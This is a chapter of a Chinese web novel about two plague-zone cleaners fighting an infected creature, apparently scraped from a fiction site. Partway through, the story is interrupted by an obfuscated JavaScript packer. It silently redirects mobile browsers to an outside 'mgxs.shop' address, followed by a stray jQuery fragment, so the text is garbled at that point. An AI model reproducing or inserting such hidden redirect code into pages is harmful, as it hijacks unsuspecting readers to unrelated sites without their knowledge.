文趣网 > 其他小说 > 疫区清洁日志 > 2. 日志二
    感染物被易青从中劈开,刀身砍到颈部时,它骤然间变得软绵绵的,整个瘫下去了。

    她脑子有些发懵,一时没注意,清洁刀从她手中脱离,随着感染物一起砸在地上。

    喷溅的血液顺着防护面罩往下滴,视窗还是一片暗红,刺痛着她的双眸。

    易青深吸一口气,慢慢回神,声音很冷,“启动自洁模式。”

    话音刚落,她的耳边随即响起冰冷的电子女声:“自洁模式已启动。”

    防护面罩顶部有一排小孔,系统下达指令后,小孔开始朝着视窗喷洒清洁药液。

    蓝色的药液流满视窗,极快地稀释掉上面的血液。没过多久易青就恢复视野,她垂头,去看瘫在地上的感染物。

    猩红的土壤上,一摊烂肉几乎要腐化成水,而她的刀插在上面,摇摇欲坠。

    易青伸出手,轻易地就将清洁刀拔了出来。她把清洁刀挂回自己的腰间,收拾了一番心情,这才转身去找温玉颜。

    她的视线扫向不远处的水泥房,墙壁裂着缝,生锈的钢筋从中突出,而玻璃窗则被砸出了一个大洞。

    易青快步走过去,还没等到她进入房子内部,便借着那个硬生生被砸出来的洞,看清了躺在地上的人。

    温玉颜穿着黑色防护服,姿势诡异地躺在地上一动不动,周围布满碎裂的玻璃渣。

    易青心头一紧,来不及多想,转身一脚踢向大门。

    被血水腐蚀过的铁门本就摇摇欲坠,她这一脚一点力都没收,“砰”一声巨响,铁门被她踹得猛地砸在了一旁的墙壁上。

    易青一只脚刚踏进屋内,便听到了温玉颜的惊呼声。

    “你完事了?这么快!”

    原本以为外面要大战三百回合,于是准备瘫在地上一动不动装死的温玉颜,在听到那一声巨响后,便猜到了是易青来了。

    她整个人如同诈尸了一般,仰着头去看她,随后撑起了自己的上半身,身上的玻璃渣随着她的动作,噼里啪啦的往下掉。

    温玉颜的神色有些尴尬,面罩下的脸有些泛红,虽然很不想承认,但易青好像确实挺强的。

    易青见她坐在地上,不禁皱眉,她走到她的面前蹲下,问:“你没事吧?”

    温玉颜嘴硬:“我怎么可能会有事。”

    虽然她确实有事。

    当时情况紧急,她忘了自己还背着药液箱,整个人猛地砸向玻璃窗,随后连人带箱撞在水泥地上,冲击力太大,她甚至感觉自己的腰都要被硌断了。

    不过还好防护服结实,没有被那些锋利的玻璃碎渣划破,不然温玉颜今天可能真得交代在这。

    只不过这些话,她不会对易青说出来。

    易青绕着她转了一圈,见防护服没什么破损,这才随意点了点头,问她:“能自己站起来吗?”

    温玉颜闻言,稍微动了动,腰处便疼得她倒吸了一口凉气。她不愿开口求助易青,便只好沉默下来。

    易青见状有些无奈,扯过她的一只手绕在自己颈上,将她从地上搀扶起来。

    “别忘了药液箱!”温玉颜不情不愿地提醒道。

    易青转头扫视一番,终于在不远处发现了一个凹陷的黑色箱子,她走过去将它捡起,挂在自己的胳膊上,这才回头扶着温玉颜往外走。

    “看不出来,你劲还挺大的。这药液箱都被撞瘪了。”

    温玉颜听出了一股调侃的意味,脸又涨红了半分。

    “要你管!”

    易青不再逗她,扶着她走出去。她的步子放得慢,但温玉颜的背脊还是一抽一抽的疼,她眼含热泪,一手扶着腰,心里却是疼得想喊妈妈。

    两人慢慢走出矮房,朝着最初分开的地方走,路过感染物时,温玉颜没耐过好奇心,她刚才被它吓得浑身一颤,都没来得及好好看看,此刻便强忍着恶心观察了一会。

    温玉颜目光在它身上游移,略过头顶时,见这摊腐肉上只有一处刀痕,有些激动,“你竟然只用了一刀?!怎么可能,你是不是练过?不应该啊,我怎么没听说过你会用刀……”

    她现在丝毫没有最初的生分,在不知不觉间,似乎已经把易青划到朋友这一边了。

    易青:“……”

    易青:“闭嘴。”

    这人的话怎么突然变得这么多了?

    温玉颜:“行吧。”不说就不说。

    易青耳朵清闲了一会,她扶着温玉颜,一步一步走向原先分离的地方,那里还放着两个银白色的物资箱,立在红土之上,很是醒目。

    她松开温玉颜,蹲下身拿起其中一个,看了一眼箱子底部,有些发愣,底部被血水浸润过的地方,竟然开始腐化发黑了。

    她侧头,若有所思地问道:“一级疫区的腐蚀性有这么强?”这才过去多久,连物资箱都扛不住了。

    疫区的形成跟血水息息相关,联邦为此研究百年,就只找到几种能抵抗侵蚀的材质,而物资箱就属于其中一种。

    按理来说,这种特殊材质不可能会腐蚀得这么快,至少不应该在一级疫区里被腐蚀。

    温玉颜也很疑惑,“刚才我就想说了,我们的任务是清洁一级疫区,但是这里又有感染物,又有强腐蚀,根本就不是一级疫区的标准。”

    她记得清清楚楚,只有二级及以上的疫区才会出现感染物。

    而她们是除疫军的新人啊,高层总不可能是故意让她们来送死的。

    易青思索着,指节不自觉地敲动箱壁,她环顾四周,问了另一个问题:“你的药液用完了吗?”

    温玉颜:“没,刚清洁到一半,感染物就窜了出来,我又没带刀,只能一路躲。”

    她取下身后背着的药液箱,看了一眼,确认道:“还有一半。”

    易青点点头,“我们先回撤离区吧。”现在疫区等级有待重新确认,而且温玉颜还带着伤,在这种情况下,她们两个新人,不好再继续下去。

    温玉颜应得极快:“听你的。”绝对不是因为她想回家了。

    她垂着眼,见易青蹲在地上,心里有一丝丝怪异的感觉。

    或许是因为易青对她那点些许的“救命之恩”,也或许是因为她悲惨的身世,温玉颜竟然觉得她有点可怜。

    温玉颜别扭了一瞬,随后朝她伸出手,“来。”

    易青依然蹲在地上,手中拿着物资箱,闻言仰起头看她。半晌,她短促地笑了一声,随后如她所愿的那样,伸出手去回握。

    两人的手在半空交握,易青正准备借力起身,下一秒,一根生锈的钢筋毫无征兆地贯穿了温玉颜的胸口。

    鲜红的液体顺着钢筋往下滴,落到了易青的视窗上,她牵起的嘴角瞬间僵住。

    尖锐的疼痛冲击着大脑,让温玉颜反应有些迟钝,她垂头去看自己的胸口,嘴唇张张合合,却什么话都没能说出。她的身体摇摇晃晃,随后不受控制地往下掉。<

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17940052|213887||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    /p>

    易青瞳孔紧缩,大脑一阵嗡鸣。

    温玉颜倒在了她的面前,胸口插着钢筋,右手还紧紧抓着她。

    而她身后不远处,那个被她一刀砍倒的感染物,正晃晃悠悠地朝着她们走来。

    头被一分为二,腐烂的肉朝着两方垂下,每走一步,便留下一滩猩红的液体。

    这怎么可能……

    怎么可能没死?

    “小心……”她气息微弱。

    防护面罩下,温玉颜睁大了眼,死亡的恐惧环绕着她,眼角不住地溢出泪水。

    因为她闻到了血腥味。

    温玉颜几乎是瞬间,就知道了这代表着什么。她此刻无法思考,甚至有些喘不过气,只能凭着本能,侧头去看易青。

    后者浑身一颤,猛地反应过来,松开手,飞快地去捂住防护服的口子。

    防护服破损,鲜红的液体不住地往外流淌,在肉眼看不见的地方,空气中潜藏的病毒拼命往里面钻。

    无论如何也挡不住病毒入侵。

    她会死。

    易青有些不知所措,语无伦次道:“我带你走,我马上带你走,你坚持一会,别怕,别怕……”

    说着就要伸手去扶起她。

    伤口处一阵撕扯般的疼痛,温玉颜明白,此刻做什么都没用,她嘴唇开始泛白,一咬牙,用尽全力推开易青的手,含糊地喊了声:“走!”

    不远处,感染物正在接近。

    眼前,温玉颜危在旦夕。

    易青必须做出选择。

    “我很快就回来!很快!”

    她眼眶有些发红,抓起身边的清洁刀,跌跌撞撞地朝着感染物跑去,另一只手还拿着没来得及放下的物资箱。

    臃肿的防护服套在她的身上,飞溅起的血水砸在身上,她的身影滑稽得像个三岁稚童。

    她泛红的眼里只能看到感染物,在距离它一步之远时,发狠地将手中的物资箱砸向它。

    感染物被砸得身形一晃,血肉横飞的身体猛然朝后仰去。易青手中的清洁刀瞬间出鞘,带着滔天的怒火,狠狠捅进感染物的腹部。

    它被清洁刀死死定住,浑身腐肉晃了晃,竟还是艰难伸出手朝易青抓去。

    易青心里涌上一股难以言喻的恶心,她迅速把刀抽了出来,迅速朝后退去。

    余光瞥了一眼清洁刀,刀身上还挂着残肉,血液正不停地往下淌。

    她收回视线,盯着感染物的一举一动,目光寒凉。

    她几乎可以确认,这东西用清洁刀是杀不死的。

    果不其然,感染物仅在地上消停了片刻,就挣扎着站起了身。

    易青慢慢往后挪动,目光紧锁感染物的伤口处,脑中飞速思索着对策。

    在进疫区之前,清洁刀就被带去浸过清洁药液,而看感染物的伤口处确实有被腐蚀过的痕迹,也就说明清洁刀没问题,清洁药液也没问题。

    那么到底是为什么,捅了两刀了还杀不死它?

    难道是她没多捅几刀?还是感染物进化了?

    易青还在细细想着原因,感染物又站了起来,也不知它到底是靠着什么锁定她的位置,明明没有眼睛,却还是直直地朝着她的方向扑了过来。

    她仓皇躲过,脑中有个想法一闪而过。

    清洁药液!

    温玉颜说她还剩一半清洁药液,既然药液有效,那干脆就把所有药液都往它身上倒。